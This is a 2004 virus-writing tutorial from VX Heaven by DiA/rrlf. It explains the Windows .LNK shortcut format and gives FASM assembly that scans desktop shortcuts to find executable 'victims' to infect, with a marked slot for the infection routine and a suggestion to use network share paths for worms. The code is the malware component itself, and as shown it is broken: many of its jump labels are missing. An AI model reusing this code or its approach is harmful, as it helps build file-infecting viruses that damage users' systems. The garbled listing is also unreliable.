VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Capture the desktop - scan .LNK files for victims

29a [#8
November 2004

[Back to index] [Comments]


Some people have a clean desktop other people have the total choas in the front of them. I speak about "Windows Shortcut Files" aka .LNK files. The shortcuts to applications, documents and other files. Most of the computer noobs use the desktop and the shortcuts very often, why not, the installation programs ask always to create a desktop shortcut. So this is a good way to find victims to infect (eg PE EXE files), if the shortcut file (.lnk) knows where the linked application or document is, we know it too (or must scan the .lnk file to know it).

So lets go, find .lnk files, scan it and lets extract the full path of linked file!

Have much fun with this little article...

Thanks to BlueOwl for testing and his help.

LNK format

This is only a quick overview of the .lnk file format, for more information please read "The Windows Shortcut File Format as reverse-engineered by Jesse Hager". This is in my opinion the best document about .lnk files over the web.


SectionSize (hex)
File Header4Ch
Shell Item ID List??h ;??h means that it doesn't have a static size
File Location Info22h
Local Volume Table10h + Volume Label (ASCIZ)
Network Volume Table14h + Network share name (ASCIZ)
Description String??h
Relative Path String??h
Working Directory??h
Commandline String??h
Icon Filename String??h
Extra stuff??h

File Header:

00h1 dword0000004Ch "L" identifies the .lnk file
04h16 dwordGUID of shortcut file
14h1 dwordFlags
18h1 dwordFile Attributes
1Ch1 qwordTime 1
24h1 qwordTime 2
2Ch1 qwordTime 3
34h1 dwordFile Length
38h1 dwordIcon Number
3Ch1 dwordShowWnd Value
40h1 dwordHot Key
44h2 dwordUnknown, always Zero

Shell Item ID List:

The Shell Item List section has no static size, it is variable. But thats not a hard problem, because first unsigned short integer (at 4Ch from file begin) indicates the total length of the whole Item List. We only have to read the size, and then add this size to 4Ch, then we are at "File Location Info" section.

File Location Info:

00h1 dwordTotal length of the structure
04h1 dwordPointer to first offset at 1Ch
08h1 dwordFlags
0Ch1 dwordOffset of Local Volume Info
10h1 dwordOffset of Base Pathname (local)
14h1 dwordOffset of Network Volume Info
18h1 dwordOffset of Remaining Pathname

Local Volume Table:

00h1 dwordLength of the structure
04h1 dwordType of Volume
08h1 dwordVolume Serial Number
0Ch1 dwordOffset of the Volume Name (10h)
10hASCIZVolume Label !!this is what we want!!

Network Volume Table:

00h1 dwordLength of the structure
04h1 dwordUnknown, always 02h?!
08h1 dwordOffset of the Network Share Name (14h)
0Ch1 dwordUnknown, always Zero?
10h1 dwordUnknown, always 20000h?
0ChASCIZNetwork Share Name

Description String, Relative Path String, Working Directory, Commandline String, Icon Filename String and Extra stuff section are uninteresting for this tutorial. For better description read the article I recommend. I think Working Directory and Commandline String are interesting things for finding victims. But thats another story...

How to get linked file, theory.

OK, now we know how the .lnk file is build. What we want is the "Volume Label" in the "Local Volume Table" section. But one (not big) problem, it have no static offset, because "Shell Item ID List" section size is variable. We have to read the size of this structure and add it to the "File Header" section, then we are at the "File Location Info" section. From this place it's not hard to get offset of "Volume Label". For better description a little graphik:

 | File Begin            00h |
 | File Header           4Ch |
 | offset Shell Item ID List |

Now we have the offset to the "Shell Item ID List". First unsigned short integer indicates the size of this section. We read the size, now in this graphik called "ItemSize" (eg F5h or something). Go on:

 | File Begin            00h |
 | File Header           4Ch |
 | ItemSize              F5h |
 | offset File Location Info |

Wow, we have the offset to the "File Location Info" section, now its not a hard way to get "Volume Label" (linked file). "File Location Info" and "Local Volume Table" have a static size. Appending to the "Local Volume Table" there is the string to the linked file ending with a zero. So lets get the offset of the first character at this string:

 | File Begin            00h |
 | File Header           4Ch |
 | ItemSize              F5h |
 | File Location Info    22h |
 | Local Volume Table    10h |
 | offset to Volume Label    |

Now we have the offset to our string. It is ASCIZero, so we only have to check byte by byte for an zero. If byte is a zero we have end of string, and as result the full path to the linked application. Good job, theoretical. :) Let's see listing and code...

How to get linked file, listing.

Here is the "to do" list for scanning .lnk files on the desktop for victims:

  1. Read desktop path from the registry
  2. Check if path string is valid, if not make it valid
  3. Change current directory to the desktop path
  4. Find first .lnk file
  5. No more files? then go to 17.
  6. Map .lnk file to handle with it
  7. Check if .lnk file is valid (first dword must be "L"000000h)
  8. Get offset to "Shell Item ID List" section
  9. Read size of the "Shell Item ID List"
  10. Skip this section (File Header + Shell Item ID List size)
  11. Get offset to "Volume Label"
  12. Get end of the path string and copy the string
  13. Check if extracted path is valid, if not goto 15.
  14. Simple Messagebox (or infection routine :)
  15. Unmap file, and close handles
  16. Find next .lnk file, goto 5.
  17. Exit

How to get linked file, code.

; Example for scanning .lnk files for victims
; assemble it with FASM 1.56 (
; tested under WinXP SP1
; coded by DiA/rrlf
;  ::  [email protected]
;[email protected]===================

include "%fasminc%\"                         ;equates

;-----get desktop path from registry--------------------
        invoke RegOpenKeyEx,\                           ;open a reg key
               HKEY_CURRENT_USER,\                      ;handle of the key
               DesktopSubkey,\                          ;the subkey string
               0,\                                      ;reserved
               KEY_ALL_ACCESS,\                         ;security access mask
               RegHandle                                ;save here the handle

        cmp eax, 0                                      ;error?
        jnz ErrorMsg                                    ;show error message

        invoke RegQueryValueEx,\                        ;read a value
               dword [RegHandle],\                      ;handle of open key
               DesktopValue,\                           ;the value name "Desktop"
               0,\                                      ;reserved
               Reg_SZ,\                                 ;we want a string
               DesktopPath,\                            ;save here the desktop path
               DesktopSize                              ;size of reserved place

        cmp eax, 0                                      ;error?
        jnz ErrorMsg                                    ;if so show a error message

        invoke RegCloseKey,\                            ;we have the desktop path, close key
               dword [RegHandle]                        ;with the handle
;-----get desktop path from registry---end--------------

;-----check if path is valid, if not make it valid------
        mov edx, DesktopPath                            ;address of string

        cmp byte [edx], 0                               ;check for end of the string
        je GotZero                                      ;we have the zero

        inc edx                                         ;address + 1
        jmp GetZero                                     ;check next byte

        dec edx                                         ;address (,0) - 1
        cmp byte [edx], "\"                             ;check for the slash
        je HaveSlash                                    ;and dont place a slash

        inc edx                                         ;jmp after last byte of the string
        mov byte [edx], "\"                             ;place the \
        mov byte [edx + 1d], 0                          ; "String",0 <-

;-----check if path is valid, if not make it valid--end-

;-----change directory to desktop path------------------
        invoke SetCurrentDirectory,\                    ;change directory
               DesktopPath                              ;to the desktop path

        cmp eax, 0                                      ;error?
        je ErrorMsg                                     ;no path, no victims
;-----change directory to desktop path---end------------

;-----find first file in current directory--------------
        invoke FindFirstFile,\                          ;the well known api
               LnkFiles,\                               ;search for *.lnk
               Win32FindData                            ;structure

        mov dword [FindHandle], eax                     ;save find handle

        cmp eax, 0                                      ;error? no more files?
        je Exit                                         ;exit the application
;-----find first file in current directory---end--------

;-----map lnk file to handle with it--------------------
        invoke CreateFile,\                             ;open the file
               Win32FindData.cFileName,\                ;the lnk file
               GENERIC_READ + GENERIC_WRITE,\           ;read and write access
               FILE_SHARE_READ,\                        ;open it when we can read
               0,\                                      ;no security attributes
               OPEN_EXISTING,\                          ;open only the file
               FILE_ATTRIBUTE_NORMAL,\                  ;all attributes
               0                                        ;no flag

        cmp eax, INVALID_HANDLE_VALUE                   ;error?
        je FindNextLNK                                  ;find next lnk file

        mov dword [FileHandle], eax                     ;save file handle

        invoke CreateFileMapping,\                      ;create the map
               dword [FileHandle],\                     ;handle of file
               0,\                                      ;no security attributes
               PAGE_READWRITE,\                         ;read and write mapping
               0,\                                      ;size high -> null
               0,\                                      ;size low  -> null = size of whole file
               0                                        ;no mapping name

        cmp eax, 0                                      ;error?!
        je CloseFile                                    ;close the file and search next

        mov dword [MapHandle], eax                      ;save mapping handle

        invoke MapViewOfFile,\                          ;write map to address
               dword [MapHandle],\                      ;handle of created map
               FILE_MAP_WRITE,\                         ;read and write
               0,\                                      ;high offset
               0,\                                      ;low offset -> null, address is after call in eax
               0                                        ;how much bytes should be mappep? 0-> all

        cmp eax, 0                                      ;error?
        je CloseMap                                     ;if so close the map, search next file

        mov dword [MapAddress], eax                     ;save address in memory where file begins
;-----map lnk file to handle with it---end--------------

;-----check if .lnk file is valid-----------------------
        mov esi, dword [MapAddress]                     ;filebegin now in esi

        cmp dword [esi], "L"                            ;first dword is a 4C000000h ?
        jne CloseMap                                    ;close map, search more files
;-----check if .lnk file is valid---end-----------------

;-----get linked application----------------------------
        add esi, 4Ch                                    ;jump over header

        mov edi, ItemSize                               ;to copy size of Shell Item List
        movsb                                           ;copy one byte, the size (esi->edi)

        cmp byte [ItemSize], 0d                         ;counter on zero?
        je JumpedOver                                   ;then we jumped over the Shell Item List strcture

        inc esi                                         ;address + 1
        dec byte [ItemSize]                             ;counter - 1
        jmp JumpOverItem                                ;next byte

        add esi, 22h                                    ;jump over FileLoationInfo
        add esi, 0Ch                                    ;jump over Location Volume Table to the volume label (ASCIZ)

        mov edi, Victim                                 ;destination is Victim (esi->edi)

        cmp byte [esi], 0                               ;0 -> end of the string (ASCIZ[ero])
        je HaveVictim                                   ;time to infect :)

        movsb                                           ;move one byte from esi to edi
        jmp CopyVictimString                            ;check again for end of string

        mov dword [edi], 0                              ;clear all after string
;-----get linked application---end----------------------

;-----check if victim path is valid---------------------
        mov edx, Victim                                 ;get address
        cmp byte [edx + 1d], ":"                        ;check for the : (eg C:)
        jne CloseMap                                    ;if not then close map, search next file

        cmp byte [edx], 0                               ;check for end of string
        je HaveVictimZero                               ;we have it

        inc edx                                         ;next byte
        jmp GetVictimZero                               ;search for zero

        cmp byte [edx - 4d], "."                        ;check for dot (eg .exe)
        jne CloseMap                                    ;search next
;-----check if victim path is valid---end---------------

;*****HERE GO THE INFECTION*****************************
        invoke MessageBox,\                             ;only show a messagebox that it works
               0,\                                      ;now owner window
               Victim,\                                 ;show full path of victim
               Win32FindData.cFileName,\                ;caption: name of scanned .lnk file
               MB_ICONINFORMATION                       ;information 4 u
;*****HERE GO THE INFECTION***END***********************

;-----unmap view of file--------------------------------
        invoke UnmapViewOfFile,\                        ;unmap the file
               dword [MapAddress]                       ;with the address
;-----unmap view of file---end--------------------------

;-----close file and map handle-------------------------
        invoke CloseHandle,\                            ;close
               dword [MapHandle]                        ;the map handle

        invoke CloseHandle,\                            ;close the handle
               dword [FileHandle]                       ;file
;-----close file and map handle---end-------------------

;-----find next lnk file--------------------------------
        invoke FindNextFile,\                           ;next lnk file
               dword [FindHandle],\                     ;via find handle
               Win32FindData                            ;and the structure

        jmp FindMoreFiles                               ;get more!
;-----find next lnk file---end--------------------------

;-----get the hell out of here--------------------------
        invoke ExitProcess,\                            ;exit
               0                                        ;current process
;-----get the hell out of here---end--------------------

;-----error message-------------------------------------
        invoke MessageBox,\                             ;shit, some error
               0,\                                      ;no owner window
               "Sorry, can't set desktop directory!",\  ;text
               ".:: ERROR ::.",\                        ;caption
               MB_ICONERROR                             ;scary error icon ;)

        jmp Exit                                        ;get out of here
;-----error message---end-------------------------------

        DesktopSubkey   db "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders",0
        DesktopValue    db "Desktop",0
        DesktopPath     rb 255d
        DesktopSize     db 255d
        RegHandle       dd ?
        Reg_SZ          db "REG_SZ",0

        Win32FindData   FINDDATA                        ;already defined by fasm
        LnkFiles        db "*.lnk",0
        FindHandle      dd ?

        FileHandle      dd ?
        MapHandle       dd ?
        MapAddress      dd ?

        ItemSize        db ?
        Victim          rb 255d

;-----api's import, fasm will do-------------------------
        data import                                     ;only one section, fasm will do it :)
             library kernel32, "KERNEL32.DLL",\
                     user32, "USER32.DLL",\
                     advapi32, "ADVAPI32.DLL"

             import kernel32,\
                    SetCurrentDirectory, "SetCurrentDirectoryA",\
                    FindFirstFile, "FindFirstFileA",\
                    FindNextFile, "FindNextFileA",\
                    CreateFile, "CreateFileA",\
                    CreateFileMapping, "CreateFileMappingA",\
                    MapViewOfFile, "MapViewOfFile",\
                    UnmapViewOfFile, "UnmapViewOfFile",\
                    CloseHandle, "CloseHandle",\
                    ExitProcess, "ExitProcess"

             import advapi32,\
                    RegOpenKeyEx, "RegOpenKeyExA",\
                    RegQueryValueEx, "RegQueryValueExA",\
                    RegCloseKey, "RegCloseKey"

             import user32,\
                    MessageBox, "MessageBoxA"
        end data
;-----api's import, fasm will do---end-------------------


Play more with LNK files

OK, now we have hopefully get the linked file. Another interesting thing (maybe for worms) in the .lnk file is the "Network Share Name" in the "Network Volume Table". Its not very different from reading the "Volume Label", we only have to get the size of the "Shell Item ID List" and the size of the "Volume Label". Then add it all to get the offset to the "Network Volume Table". For this I have make a little graphik too:

 | File Begin            00h |
 | File Header           4Ch |
 | ItemSize              F5h |    ;size variable
 | File Location Info    22h |
 | Local Volume Table    10h |
 | size of Volume Label  0A  |    ;size variable
 | Network Volume Table  14h |
 | offset Network Share Name |

So, you see it's not hard when we known size of "Shell Item ID List" and the size of the "Volume Label" string. "Network Share Name" is also ASCIZ, means that the zero is the end of the string.


Thats the end my friend, the end of this article. Hope you learned something, or get some inspiration for other projects. If you have questions, greets or fucks feel free to send me a mail to [email protected] or make a entry in my guestbook at ! See you...

DiA/rrlf - 27.11.2004
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka